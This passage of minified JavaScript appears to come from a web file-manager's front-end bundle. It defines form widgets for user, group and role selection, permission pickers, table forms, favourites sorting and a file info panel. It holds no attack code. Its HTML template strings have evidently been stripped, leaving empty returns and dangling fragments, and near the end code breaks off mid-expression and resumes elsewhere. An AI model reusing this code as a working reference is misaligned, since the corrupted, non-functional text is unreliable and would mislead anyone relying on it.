t=/[\ud800-\udbff][\udc00-\udfff]/g;return e&&-1!=e.search(t)?e=e.replace(t,function(e){var t;return 2===e.length?(t=1024*(e.charCodeAt(0)-55296)+65536+e.charCodeAt(1)-56320,"html"==i?"&#"+t+";":"[:"+t+":]"):e}):e},"toHtml":function(e){e=this.toText(e);var a=this,t=/\[:(\d+):\]/g;return e&&-1!=e.search(t)?e.replace(t,function(e,t){var i=a.numberToChar(t),n=' class="emoji-text emoji-text-'+t+'"';return''}):e},"numberToChar":function(e){var t=parseInt(e)-65536,i=55296+(t>>10),n=56320+(1023&t);return String.fromCharCode.apply(null,[i,n])},"charToNumber":function(e){return e.codePointAt()+""},"charToHex":function(e){},"toTextShow":function(e){e=this.toText(e);var i=this,t=/\[:(\d+):\]/g;return e&&-1!=e.search(t)?e.replace(t,function(e,t){return i.numberToChar(t)}):e}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(5);t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this;this.$(".form-group select").each(function(){var e="groupSelect_"+roundString(5);t[e]=new n.BaseUserGroup({"parent":t,"selectType":"group","parentGroup":$(this).attr("data-parentGroup"),"$afterDom":$(this)})}),e&&e()},"getValue":function(e,t){return e.attr("data-value")},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}})},function(e,t,u){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=u(5),r=function o(e){return e&&e.__esModule?e:{"default":e}}(u(26));var a={"user":!1,"group":!1,"all":!1};t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e,t){var i=this;this.$(".form-groupAuth input[name]").each(function(){var e="groupAuth_"+roundString(5);i[e]=new n({"parent":t,"$afterDom":$(this),"parentGroup":$(this).attr("data-parentGroup"),"rootParam":$(this).attr("data-rootParam"),"selectType":$(this).attr("data-type")})}),e&&e()},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}});var n=i.BaseUserGroup.extend({"renderView":function(){var e=this.$afterDom.val()||"",t=u(32),i={"isSingle":this.isSingle,"selectType":this.selectType},n=this.renderHtml(t,i,!1);this.$afterDom.after(n),this.$el=this.$afterDom.next(),this.$selectBox=this.$afterDom.parent().find(".add-user-group"),this.$resultBox=this.$(".auth-select-box"),this.authDefault="",this.parseDefaultData(e),this.initDefaultValue(),this.bindNotifyMenu(),this.changeForValue(),this.renderViewDropdown(),this.bindToolbar(),this.bindAuthDefault(),this.$dropdown.css("width",this.$afterDom.width()),this.$afterDom.hide(),this.saveDataResult=_.debounce(_.bind(this.saveDataResult,this),200)},"changeForValue":function(){var e="";switch(this.selectType){case"user":e=this.resultData.user;break;case"group":e=this.resultData.group;break;case"all":e=this.resultData,_.isEmpty(e.user)&&_.isEmpty(e.group)&&(e="")}e=_.isEmpty(e)?"":jsonEncode(e),this.$afterDom.val(e).trigger("change")},"parseDefaultData":function(e){switch(this.keyID=[],this.isSingle=!1,this.loadValue={"group":"","user":""},this.resultData={"group":{},"user":{}},this.authSelectChild=[],e=(e=_.isString(e)?jsonDecode(e):e)||{},this.selectType){case"user":this.keyID=["userID"],this.loadValue.user=_.keys(e).join(","),this.resultData.user=e||{};break;case"group":this.keyID=["groupID"],this.loadValue.group=_.keys(e).join(","),this.resultData.group=e||{};break;case"all":this.keyID=["groupID","userID"],this.loadValue.user=_.keys(e.user).join(","),this.loadValue.group=_.keys(e.group).join(","),this.resultData=_.extend(this.resultData,e)}},"bindNotifyMenu":function(){this.bind("menuOpen",function(){this.$selectBox.addClass("active")}),this.bind("menuClose",function(){this.$selectBox.removeClass("active")})},"bindToolbar":function(){var i=this,e=this.$(".auth-toolbar .auth-toolbar-item"),t="hidden",n=function n(){i.$afterDom.val()?(e.filter('[data-action="clear"]').removeClass("disable-event"),e.filter('[data-action="copy"]').removeClass(t)):(e.filter('[data-action="clear"]').addClass("disable-event"),e.filter('[data-action="copy"]').addClass(t)),a[i.selectType]?e.filter('[data-action="paste"]').removeClass(t):e.filter('[data-action="paste"]').addClass(t)};this.$el.bind("mouseenter",n),this.$afterDom.bind("change",n),e.bind("click",function(e){if(!$(this).hasClass("disable"))switch($(this).attr("data-action")){case"clear":i.setValue({});break;case"copy":var t=i.$afterDom.val();t&&(a[i.selectType]=t,Tips.tips(LNG["explorer.copyOK"]),n());break;case"paste":a[i.selectType]&&i.setValue(a[i.selectType])}})},"bindAuthDefault":function(){var t=this,i=new r["default"]({"parent":this});i.$el=$(this.$resultBox).find(".auth-all"),i.loadSource(function(){i.$el&&(i.$el.attr("data-type","group-auth"),i.$el.attr("data-key","group-auth-all"),i.selectInit(i.$("select"),i.$el),t.parent&&t.parent.trigger("groupAuth.initAuth",i))}),(this.authSelectAll=i).selectChange=function(e){e&&(t.authDefault=i.getValue(),t.$resultBox.find(".item-choice").each(function(){$(this).find("select").val(t.authDefault).trigger("change")}),t.saveDataResult())};var e=this.$(".item-choice-title");i.$("select").on("select2:open",function(){e.addClass("select-open")}).on("select2:close",function(){e.removeClass("select-open")})},"changeForResult":function(){var a=this;this.$resultBox.find(".item-choice").each(function(){var e=$(this).attr("data-type"),t=$(this).attr("data-id"),i={},n="authSelect_"+e+"_"+(i[e]=t);a.listDataFind(i)||(a[n]&&a[n].objectRemove(),delete a[n],$(this).remove())}),_.isEmpty(this.listData)?this.$(".item-null").removeClass("hidden"):this.$(".item-null").addClass("hidden");var t=!1;this._each(this.listData,function(e){t=this.renderRowItem(e,t)}),this.saveDataResult()},"renderRowItem":function(e,t){var i=e.userID?"user":"group",n=e.userID?"userID":"groupID",a=e[n],r=this.resultData||{"user":{},"group":{}},o=r[i]&&r[i][a]||this.authDefault||"",s=this.$resultBox.find(".list-result"),l=s.find('.item-choice[data-id="'+a+'"][data-type="'+n+'"]');if(l.length)return t&&l.insertAfter(t),t||l.prependTo(s),l.find("select").val(o).trigger("change"),l;var c=u(33),d={"item":e,"authID":o,"itemIcon":_.bind(this.itemIcon,this)},h=this.renderHtml(c,d,!1);return t&&(l=$(h).insertAfter(t)),t||(l=$(h).prependTo(s)),this.bindAuthSelect(l,n,a),l},"bindAuthSelect":function(e,t,i){var n=this,a=new r["default"]({"parent":this});(this["authSelect_"+t+"_"+i]=a).$el=e.find(".select-role"),a.loadSource(function(){a.$el&&(a.$el.attr("data-type","group-auth"),a.$el.attr("data-key","group-auth-"+n.$afterDom.attr("name")),a.selectInit(a.$("select"),a.$el),n.parent&&n.parent.trigger("groupAuth.initAuth",a))}),a.selectChange=_.bind(this.saveDataResult,this)},"onRemove":function(){$(window).unbind("mousedown",this.bindDropdownWindow),this.zTree&&this.zTree.destroy()},"saveDataResult":function(){if(this.$resultBox&&this.$resultBox.exists()){this.resultData={"user":{},"group":{}};var a=this.resultData;this.$resultBox.find(".item-choice").each(function(){var e=$(this).find("select"),t="userID"==$(this).attr("data-type")?"user":"group",i=$(this).attr("data-id"),n=e.val()||e.attr("data-value");a[t][i]=n}),this.changeForValue()}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(6));t["default"]=n["default"].extend({"selector":".form-job select","init":function(){},"selectDataMake":function(t,e,i){var n=this;this.adminModel.cacheRequest("jobList",!1,function(e){n.dataFilter(t,e),i&&i()})},"dataFilter":function(e,t){if(!t.code)return Tips.tips(t);var i=t.data,n=[];for(var a in i){var r=i[a];n.push({"id":r.id,"text":r.name,"info":r})}e.data=n,e.templateResult=function(e){return $(""+e.text+"")}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(5);t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this;this.$(".form-user select").each(function(){var e="userSelect_"+roundString(5);t[e]=new n.BaseUserGroup({"parent":t,"selectType":"user","parentGroup":$(this).attr("data-parentGroup"),"$afterDom":$(this)})}),e&&e()},"getValue":function(e,t){return e.attr("data-value")},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(5);t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this;this.$(".form-userGroup select").each(function(){var e="userGroupSelect_"+roundString(5);t[e]=new n.BaseUserGroup({"parent":t,"selectType":"all","parentGroup":$(this).attr("data-parentGroup"),"$afterDom":$(this)})}),e&&e()},"getValue":function(e,t){return e.attr("data-value")},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var r=i(5),o=function n(e){return e&&e.__esModule?e:{"default":e}}(i(34));t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var a=this;this.$(".form-userSelect").each(function(){var e=$(this);a.bindButtonGroup(e);var t="userSelect_"+roundString(5);a[t]=new r.BaseUserGroup({"parent":a,"selectType":"user","parentGroup":e.attr("data-parentGroup"),"$afterDom":e.find(".user-select-user select")});t="groupSelect_"+roundString(5);a[t]=new r.BaseUserGroup({"parent":a,"selectType":"group","parentGroup":e.attr("data-parentGroup"),"$afterDom":e.find(".user-select-group select")});t="roleSelect_"+roundString(5);var i=e.find(".user-select-role"),n=new o["default"]({"parent":this});n.loadSource(function(){n.selectInit(i.find("select"),i)}),this[t]=n}),e&&e()},"getValue":function(e,n){var a={"all":"0","user":"","group":"","role":""};return n.find(".btn-group .btn-active").each(function(){var e=$(this).attr("data-type");if("all"!=e){var t=n.find(".user-select-"+e+" select"),i="role"==e?t.val():t.attr("data-value");i=_.isArray(i)?i.join(","):i,a[e]=i}else a[e]="1"}),jsonEncode(a)},"setValue":function(e,t){var i=e.parent(),n=i.find(".btn-group-segment"),a=i.find(".user-select-user select").data("kodView"),r=i.find(".user-select-group select").data("kodView"),o=i.find(".user-select-role select");t=_.isString(t)?jsonDecode(t):t,t=$.extend(!0,{"all":"","user":"","group":"","role":""},t),n.find("[data-type=all]").click(),_.each(t,function(e,t){e&&n.find("[data-type="+t+"]").click()}),a&&a.setValue(t.user),r&&r.setValue(t.group);var s=t.role;s&&_.isString(s)&&o.attr("multiple")&&(s=s.split(",")),o.val(s).trigger("change")},"bindButtonGroup":function(n){var a="btn-active",r=n.find(".btn-group").attr("multiple","multiple"),o=r.find(".btn"),e=n.find("> .setting-content input"),s=_.bind(this.parent.display,this.parent);o.bind("click",function(){var e=$(this).attr("data-type"),t=r.parent().find(".user-select"),i=t.filter(".user-select-"+e);if(!r.attr("multiple")||"all"==e)return o.removeClass(a),$(this).addClass(a),t.each(function(){s($(this),!1)}),void s(i,!0);$(this).toggleClass(a),s(i,!i.is(":visible")),$(this).hasClass(a)?n.find("[data-type=all]").removeClass(a):n.find("."+a).exists()||n.find("[data-type=all]").addClass(a)}),this.setValue(e,e.val())}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this.$(".form-segment .btn-group .btn"),n="btn-active";t.bind("click",function(e){var t=$(this).parents(".setting-content").first(),i=$(this).attr("data-value");t.find("input").val(i).trigger("change"),t.find(".btn").removeClass(n),$(this).addClass(n)}),e&&e()},"setValue":function(e,t){e.parent().find('.btn[data-value="'+t+'"]').click()}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=function r(e){return e&&e.__esModule?e:{"default":e}}(i(2));t["default"]=ClassBase.extend({"init":function(){},"bindForm":(n=function o(e){return function(){var s=e.apply(this,arguments);return new Promise(function(a,r){return function o(e,t){try{var i=s[e](t),n=i.value}catch(error){return void r(error)}if(!i.done)return Promise.resolve(n).then(function(e){o("next",e)},function(e){o("throw",e)});a(n)}("next")})}}(a["default"].mark(function s(t){return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,requirePromise([VENDER_PATH+"bootstrap-slider/bootstrap-slider.css",VENDER_PATH+"bootstrap-slider/bootstrap-slider.js"]);case 2:if(this.$el){e.next=4;break}return e.abrupt("return","");case 4:t&&t(),this.$(".form-slider input").slider(),this.bind("onRemove",function(){this.$(".form-slider input").slider("destroy")});case 7:case"end":return e.stop()}},s,this)})),function l(e){return n.apply(this,arguments)}),"setValue":function(e,t){e.slider("setValue",t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var i=this;if(!this.$el)return"";this.tableForm=[],this.$(".form-table input").each(function(){i.renderTableValue($(this)),i.bindSort($(this))}),this.$(".form-table .row-add").bind("click",function(){var e=$(this).parent().children("input");i.rowAdd(e)}),this.$(".form-table").delegate(".list-content .row-action .col-action","click",function(){var e=$(this).parents(".form-table-main").prev(),t=$(this).parents(".list-row");i.rowAction(e,$(this).attr("action"),t.attr("data-index"))}),this.bind("onRemove",function(){this._each(this.tableList,function(e){e.objectRemove()})}),e&&e()},"getFormData":function(e){var t=e.attr("name"),i=$.objClone(this.parent.formData[t]);i.info=_.extend({"removeConfirm":1,"formType":"dialog","canSort":1,"dialog":{}},i.info||{});var n=this.getValue(e,!1,!1);return i.value=jsonDecode(n)||[],i},"bindSort":function(e){var t=this,i=this.getFormData(e),a=$(e.parent().find(".list-content").get(0));a.addClass("table-type-"+i.info.formType),i.info.canSort?(a.dragsort("destroy"),a.dragsort({"dragSelector":".col-drag","dragBetween":!0,"dragEnd":function(){var i=t.getFormData(e).value,n=[];a.find(".list-row").each(function(e){var t=parseInt($(this).attr("data-index"));i[t]&&n.push(i[t]),$(this).attr("data-index",e)}),t.setValue(e,n,!0)}})):a.addClass("can-not-sort")},"renderTableValue":function(i){var n=this.getFormData(i),e=i.parent().find(".list-content");if(e.html(""),this.checkEmpty(i),"dialog"==n.info.formType){if(_.isEmpty(n.value))return;var a="";this._each(n.value,function(e,t){a+=this.renderTableHtmlRow(e,n,t)}),e.html(a)}else this._each(this.tableList,function(e){e.objectRemove()}),this._each(n.value,function(e,t){this.rowAdd(i,e,t)})},"renderTableHtmlRow":function(e,t,i){var n='
    ',a=t.row||t.children;return _.each(a,function(e,t){var i=e.template||(e.key?"{{"+e.key+"}}":"{{"+t+"}}");n+='
    '+i+"
    "}),n=n.substr(0,n.length-6)+'\n\t\t
    \n\t\t\t
    \n\t\t\t
    \n\t\t\t\t{{LNG[\'common.edit\']}}\n\t\t\t
    \n\t\t\t
    \n\t\t\t\t{{LNG[\'common.delete\']}}\n\t\t\t
    \n\t\t
    ',e._index=i,this.renderHtml(n,e,!1)},"rowAction":function(n,e,a){var r=this,o=this.getFormData(n);if("edit"!=e){var s=function s(){var e=n.parent().find(".form-table-main .list-content"),t=e.find(".list-row[data-index="+a+"]");if(o.value[parseInt(a)]=!1,o.value=_.filter(o.value),"inline"==o.info.formType){var i=t.data("kodView");i&&i.objectRemove()}t.remove(),e.find("> .list-row").each(function(e){$(this).attr("data-index",e)}),r.setValue(n,o.value,!0)};o.info.removeConfirm?$.dialog.confirm(LNG["common.ifDel"],s,!1,LNG["common.delete"]):s()}else{var t=o.value[parseInt(a)]||{};this.rowAdd(n,t,a)}},"rowAdd":function(e,t,i){var n=this.getFormData(e);_.each(t,function(e,t){n.children[t]&&(n.children[t].value=e)});var a=!t;"dialog"==n.info.formType?this.rowAddDialog(e,n,a,i):this.rowAddInline(e,n,a)},"rowAddDialog":function(o,s,l,c){var d=this,e=_.get(s,"info.dialog.titleAdd",LNG["common.add"]),t=_.get(s,"info.dialog.icoAdd",'');l||(e=_.get(s,"info.dialog.titleEdit",LNG["common.edit"]),t=_.get(s,"info.dialog.icoEdit",''));var i=new kodApi.formMaker({"parent":this,"formData":s.children}),n={"id":"form-row-"+o.attr("name"),"title":e,"ico":t,"width":600,"height":500,"okVal":LNG["common.save"]};_.extend(n,s.info.dialog),i.renderDialog(n,function(e){var t=s.value,i=o.parent().find(".form-table-main .list-content");if(l){t.push(e);var n=i.find(".list-row").length,a=d.renderTableHtmlRow(e,s,n);$(a).appendTo(i)}else{t[c]=e;var r=i.find(".list-row[data-index="+c+"]");a=d.renderTableHtmlRow(e,s,c);$(a).insertBefore(r),r.remove()}d.setValue(o,t,!0)})},"rowAddInline":function(e,t,i){var n=e.parent().find(".list-content"),a=new kodApi.formMaker({"parent":this,"formData":t.children}),r=$("
    ").appendTo(n);a.renderTarget(r);var o=n.children(".list-row").length,s=a.$el;a.$(".panel-form-body").children().appendTo(a.$el),a.$(".panel-form-body").remove(),s.find(".form-target-save").remove(),s.attr("data-index",o),s.insertAfter(r).addClass("list-row"),r.remove(),a.$el=s;var l='\n\t\t
    \n\t\t\t
    \n\t\t\t
    \n\t\t\t\t'+LNG["common.edit"]+'\n\t\t\t
    \n\t\t\t
    \n\t\t\t\t'+LNG["common.delete"]+"\n\t\t\t
    \n\t\t
    ",c=a.$el.find(".form-row").last();c.addClass("row-action-parent"),$(l).appendTo(c),this.tableForm.push(a),i&&(t.value.push(a.getValue()),this.setValue(e,t.value,!0))},"getValue":function(e,t,i){var n=this.parent.formData[e.attr("name")],a=e.val();if(a="[]"==a?"":a,"inline"==_.get(n,"info.formType")){var r=[];e.parent().find(".form-table-main .list-row").each(function(){var e=$(this).data("kodView");e&&r.push(e.getValue(!1,i))}),r=_.filter(r),_.isEmpty(r)||(a=jsonEncode(r))}return a},"checkEmpty":function(e){var t=e.parent().find(".list-row-empty");e.val()?t.addClass("hidden"):t.removeClass("hidden")},"setValue":function(e,t,i){t="[]"==(t=_.isString(t)?t:jsonEncode(t))?"":t,e.val(t).trigger("change"),this.checkEmpty(e),i||this.renderTableValue(e)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(6));t["default"]=n["default"].extend({"selector":".form-tags select","selectDataMake":function(e,t,i){e.tags=!0,e.multiple=!0,e.closeOnSelect=!1,i()}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});t.SOURCE_TYPE={"user":1,"group":2}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"bindShareTargetSave":function(i,n){var a=this,e='\n\t\t
    \n\t\t\t\n\t\t\t'+LNG["explorer.groupAuthSave"]+"\n\t\t
    ";$(e).appendTo(i.$(".auth-toolbar"));var r=i.$('[name="'+n+'"]'),t=i.$('.auth-toolbar [data-action="save"]'),o="hidden",s=r.data("kodView");r.bind("change",function(e){i.getValue(n)?t.removeClass(o):t.addClass(o)}),t.bind("click",function(){$(this).hasClass(o)||a.shareTargetSave(i,1,n)}),s.$dropdown.delegate(".node-share-item-store","click",function(e){var t=$(this).data("treeNode");if(t){if($.targetParent(e,".item-select"))return s.menuClose(),void a.shareTargetSave(i,0,n,{"name":t.name,"authTo":t.authTo});s.setValue(t.authTo),a._delay(function(){s.trigger("dataChange")},20),r.next().flash()}})},"shareTargetSave":function(e,t,i,n){var a=this,r=t?"ri-add-circle-line":"ri-edit-box-line",o={"formStyle":{"className":"form-box-title-block"},"name":{"type":"input","display":LNG["common.name"],"require":1,"value":t?"":n.name},"authTo":{"type":"groupAuth","display":LNG["admin.member.userSelected"],"attr":{"data-type":"all"},"require":1,"value":t?e.getValue(i):n.authTo}},s=new kodApi.formMaker({"parent":this,"formData":o}),l=e.$('[name="'+i+'"]').data("kodView"),c={"id":"form-row-"+e.wrapID,"title":t?LNG["common.add"]:LNG["common.edit"],"ico":'',"width":420,"height":400,"okVal":LNG["common.save"]};t||(c.button=[{"name":LNG["common.delete"],"callback":function(){var e={"name":n.name,"authTo":""};a.pathModel.shareTargetSave(e,function(){l.treeRrefresh&&l.treeRrefresh()})}}]),s.renderDialog(c,function(e){e&&(t||(e.beforeName=n.name),a.pathModel.shareTargetSave(e,function(){l.treeRrefresh&&l.treeRrefresh()}))}),this._delay(function(){var e=s.$('input[name="name"]');e.textSelect(),e.keyEnter(function(){s.save()})},100)}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=".setting-page .setting-main .setting-main-content .panel-body",a=".admin-page .admin-main .admin-main-content .panel-body",r="{pointer-events: none;opacity:0.5 !important;}",o={"user.edit":"\n\t\t"+n+".account-page a "+r+"\n\t\t.setting-page .setting-menu-left .user-head-img,\n\t\t"+n+".account-page .acc-row{pointer-events:none;}\n\t","admin.role.edit":"\n\t\t"+a+".role-page .toolbar .left button "+r+"\n\t\t"+a+".role-page .list-table .list-row .setting "+r+"\n\t","admin.job.edit":"\n\t\t"+a+".job-page .left button "+r+"\n\t\t"+a+".job-page .list-table .list-row .setting "+r+"\n\t","admin.member.userEdit":"","admin.member.groupEdit":"","admin.auth.edit":"\n\t\t"+a+".auth-page .left button "+r+"\n\t\t"+a+".auth-page .list-table .list-row .setting "+r+"\n\t","admin.plugin.edit":"\n\t\t"+a+".plugin-page .app-content .action.btn-group "+r+"\n\t\t"+a+".plugin-page .app-descript .action.btn-group "+r+"\n\t","admin.storage.edit":"\n\t\t"+a+".storage-page .app-content .action.btn-group "+r+"\n\t","admin.autoTask.edit":"\n\t\t"+a+".task-page .left button "+r+"\n\t\t"+a+".task-page .list-table .list-row .setting "+r+"\n\t"};t["default"]=o},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.ioPath=G.io.KOD_USER_FAV+"/",this.dragFlag="bind-drag-sort-fav",this._delay(this.bindNotify)},"bindNotify":function(){this.root.header&&this.root.tree&&(this.listenTo(this.root.path,"list.renderAfter",this.bindFileList),this.listenTo(this.root.tree,"initAfter",function(){this.bindTree(this.ioPath)}),this.listenTo(this.root.tree.treeView,"loadAfter",this.bindTree),this.listenTo(this.root.tree.treeView,"switchChange",function(e){e&&e.open&&e.path==this.ioPath&&this.bindTree(this.ioPath)}))},"bindFileList":function(){var t=this,e=this.root.path.currentPath,i=this.$root.find(".file-continer");if("split"==this.userModel.getOption("listType")){i.dragsort("destroy"),i.removeClass(this.dragFlag);var n='[data-path="'+hashEncode(this.ioPath)+'"]',a=i=this.$root.find(".split-box").filter(n);if(0==a.length)return;i=a.children(".content")}else if(_.trim(e,"/")+"/"!=this.ioPath)return void(i.hasClass(this.dragFlag)&&(i.dragsort("destroy"),i.removeClass(this.dragFlag)));i.addClass(this.dragFlag),i.dragsort("destroy"),i.dragsort({"dragSelector":".file","dragBetween":!0,"dragCursor":"","placeHolderTemplate":"
    ","dragStart":function(e,t){if($.targetParent(t,".children-list"))return!1},"dragEnd":function(){var e=$(this).parent().children(".file");t.resetSort(e)}})},"bindTree":function(e){if(_.trim(e,"/")+"/"==this.ioPath){var t=this.root.tree.zTree.getNodesByParam("path",this.ioPath),i=!1;if(!t)return!1;if(_.each(t,function(e){_.trim(e.pathFather,"/")+"/"!=G.io.KOD_USER_FAV&&(i=e)}),i&&i.$node){var n=$("#"+i.$node.next().attr("id")),a=this;0!=n.length&&(n.hasClass(this.dragFlag)||(n.addClass(this.dragFlag),n.dragsort("destroy"),n.dragsort({"dragSelector":".tree-node","dragBetween":!0,"dragCursor":"","placeHolderTemplate":"
  • ","dragStart":function(e,t){var i=$.targetParent(t,".tree-node");if(!i||!i.parent().parent().is(n))return!1},"dragEnd":function(){var e=$(this).parent().children("li").children(".tree-node");a.resetSort(e)}})))}}},"resetSort":function(e){var i=[];e.each(function(){var e=$(this),t=e.data("fileItem")||e.data("treeNode");i.push(_.get(t,"sourceInfo.favID"))});var t=this.ioPath;i=_.filter(i).join(","),this.pathModel.favResetSort({"favList":i},function(){Events.trigger("path.pathChange",t)})}})},function(e,t,i){"use strict";var o=i(0);e.exports=function(e){var t="",i=(e=e||{}).i,n=o.$escape,a=e.item,r=e.LNG;return t+='
    ',t+=a.viewUserInfo,t+='
    ',t+=a.viewTitle,t+='
    ',t+=a.viewCurrent,t+='
    ',t+=a.viewPercentInfo,t+='
    ',t+=n(r["common.task.timeStart"]),t+="",t+=a.viewStartTime,t+='',t+=n(r["common.task.timeUse"]),t+="",t+=a.viewUseTime,t+='',t+=n(r["common.task.timeNeed"]),t+="",t+=a.viewNeedTime,t+='
    ',t+=n(r["common.task.running"]),t+='',t+=n(r["common.task.stoping"]),t+='',t+=n(r["common.task.killing"]),t+='
    ","resizeCallback":function(){e.$(".tab-group-line .tab-item.active").tabCurrent(),e.$(".perfectScroll").perfectScroll()},"close":function(){e.objectRemove()}});var s=this.dialog.$main;this.open=!0,this.$main=s.find(".file-panel"),this.$el=this.$main,this.dialog.kodView=this,s.data("kodView",this),s.data("root",this.root);var l="+="+10*$(".artDialog.dialog-file-panel").length+"px";this._delay(function(){s.css({"left":l,"top":l})}),this.initView(),this.bindEvent(),this.reloadView(),this.pathInfo(function(){this.reloadView()}),this.dialog.position("50%","40%"),this.bind("onRemove",function(){this.pathInfoAjax&&this.pathInfoAjax.abort(),this.dialog&&this.dialog.close()}),$.contextMenu.clickBind(this.$main,".menu-left-click,.menu-trigger")},"bindEvent":function(){var e=this.dialog.$main;if(this.bind("tabChange",function(){this.$main.find(".perfectScroll").perfectScroll(),e.hasClass("dialog-max")||e.css({"width":"auto","min-width":"auto"})}),1==this.listData.length){var t=this.listData[0];this.listenTo(this.root.pathAction,"pathChangeNotify",function(e){e==t.path&&this._delay(function(){this.pathInfo(this.reloadView)},10)}),this._delay(function(){this.$('.dialog-tab [tab-name="'+this.selectTab+'"]').tabCurrent()},200)}},"pathInfo":function(i){var n={"dataArr":[]},a=this,r=$.objClone(this.listData);if(this._each(this.listData,function(e){var t={"path":e.path};this.infoSimple&&(t["type"]="simple"),n.dataArr.push(t),e.sourceInfo={},e.metaInfo={},delete e._itemDataBefore}),!this.infoSimple){var e=LNG["common.detail"]+LNG["explorer.getting"];this.tipsLoading=Tips.loadingMask(this.$(".panel-info"),e)}this.infoSimple=!0,this.pathInfoAjax&&this.pathInfoAjax.abort(),this.pathInfoAjax=this.pathModel.pathInfo(n,function(e){if(a.tipsLoading&&a.tipsLoading.close(),a.tipsLoading=!1,e&&e.code){var t=_.isArray(e.data)?e.data:[e.data];a.listData=$.extend(!0,a.listData,t),this._each(a.listData,function(e,t){e.downloadPath=_.get(r[t],"downloadPath",e.downloadPath)}),jsonEncode(r)==jsonEncode(a.listData)||i&&i.apply(a,a.listData)}})},"rootSelector":function(){return"."+this.dialog.config.id},"display":function(){},"bindResize":function(){}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=d(i(285)),a=d(i(293)),r=d(i(78)),o=d(i(297)),s=d(i(299)),l=d(i(305)),c=d(i(79));function d(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.selectTab="panel-info",this.bindEventInit(),this.changeTabEventNow=this.changeTabEvent,this.changeTabEvent=_.debounce(_.bind(this.changeTabEvent,this),20),this.historyBindFile=new r["default"]({"parent":this}),this._delay(function(){this.historyBindFile.bindFileMenu()},100)},"bindEventInit":function(){var e=this;this.panelSave=!($.isWindowSmall()||"explorerDialog"==this.root.viewType),this.open="1"==this.userModel.getOption("filePanel"),this.open=!!this.panelSave&&this.open,this.$main=this.$(".file-panel"),this.$main.find(".panel-tab-content").addClass("tab-animate-fade"),this.$(".panel-toggle").bind("click",function(){e.open=!$(this).hasClass("active"),e.panelSave&&e.userModel.setOption("filePanel",Number(e.open)),e.display()}),this.listenTo(this.parent.select,{"select.change":function(){"1"==this.userModel.getOption("filePanel")&&(this.displayFirst||(this.display(),this.displayFirst=!0),this.reloadData())}})},"initView":function(){var e=i(308);this.renderHtml(e,!1,this.$main),this.viewChat=new n["default"]({"parent":this}),this.viewHistory=new a["default"]({"parent":this}),this.viewLog=new o["default"]({"parent":this}),this.viewInfo=new s["default"]({"parent":this}),this.viewAuth=new c["default"]({"parent":this}),this.viewMeta=new l["default"]({"parent":this}),this.bindEventView(),this.bindResize()},"rootSelector":function(){return this.root.rootSelector()},"bindEventView":function(){var t=this;this.$main.children(".tab-group-line").find(".tab-item").bind("click",function(e){t.selectTab=$(this).attr("tab-name"),t.changeTab(t.selectTab,!0)}),this.$(".panel-close").bind("click",function(e){t.$(".panel-toggle").trigger("click")})},"bindResize":function(){var t="explorerPanelWidth";this.resize=this.$main.dragResize({"size":{"init":300,"min":285,"max":600},"className":"drag-resize-panel","orgin":"x","viewBefore":!1,"storeValue":function(e){return _.isUndefined(e)?this.userModel.getOptionResize(t)||300:this.userModel.setOptionResize(t,e)},"onChange":function(e,t){this.root.trigger("file.continer.resize"),t&&(this.$(".tab-group-line .tab-item.active").tabCurrent(),this.$main.find(".perfectScroll").perfectScroll())}},this)},"display":function(){this.initViewFirst||(this.initViewFirst=!0,this.initView());var e=this.$main.parent(),t=this.$(".panel-toggle"),i=this.$(".file-continer");i.css("width",i.width()),this._delay(function(){i.css("width","inherit"),this.root.trigger("file.continer.resize")},300),this.open?(this.$main.removeClass("hidden"),t.addClass("active"),e.addClass("panel-open"),this.reloadData(),this.resize.sizeChange(),this.$main.css("right",0)):(this.selectTab="panel-info",t.removeClass("active"),e.removeClass("panel-open"),e.find(".bodymain").css("right",0),e.find(".drag-resize-panel").css("right",0),this.$main.css("right",-1-this.$main.width())),this.root.trigger("file.continer.resize")},"reloadData":function(){if(this.open){this.listData=this.root.pathAction.makeParamSelect();var e=this.root.path.jsonData;_.isEmpty(e)||(_.isEmpty(this.listData)&&(this.listData=[e.current]),this.reloadView())}},"reloadView":function(){var t=this.$main.children(".tab-group-line"),e=this.listData,i=this.root.pathAction.auth;if(1"+e+""),i={};if(1<=t.find(".comment-text").length){var n="";t.find(".comment-text").each(function(){n+=$(this).prop("outerHTML")+"
